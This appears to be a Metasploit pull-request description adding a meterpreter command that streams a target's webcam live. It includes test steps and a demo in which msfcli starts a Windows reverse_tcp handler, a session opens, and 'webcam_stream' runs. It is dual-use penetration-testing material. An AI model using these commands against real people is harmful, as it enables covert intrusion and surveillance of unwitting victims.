Add webcam livestream feature for meterpreter

[SeeRM #8729] - This meterpreter command allows the attacker to observe the target at real-time by turning their webcam live. There is also a HTML-based player provided, which does not require a plugin or anything, just open it with a browser. The HTML-based player also allows the attacker to put livestream on the web (evil? yeah, kind of.)

How to test:

- [ ] In your VM, make sure it is connected to a webcam. (Devs on OS X: This is pretty easy, just go to "USB & Bluetooth", and connect your "Apple Factime HD camera")
- [ ] Get a Windows meterpreter session going, and make sure you're at the prompt
- [ ] Run command ```webcam_stream```

Demo:

```
$ msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=10.0.1.76 lport=4444 post="" E
[*] Initializing modules...
payload => windows/meterpreter/reverse_tcp
lhost => 10.0.1.76
lport => 4444
[*] Started reverse handler on 10.0.1.76:4444 
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 10.0.1.76
[*] Meterpreter session 1 opened (10.0.1.76:4444 -> 10.0.1.76:55010) at 2013-12-30 17:45:32 -0600

meterpreter > webcam_stream
[*] Starting...
[*] Preparing stream interface...
[*] Opening interface at: ybeTCnxm.html
[*] Streaming...
[*] Stopped
meterpreter >
```

It is for the following feature request:
http://dev.metasploit.com/redmine/issues/8729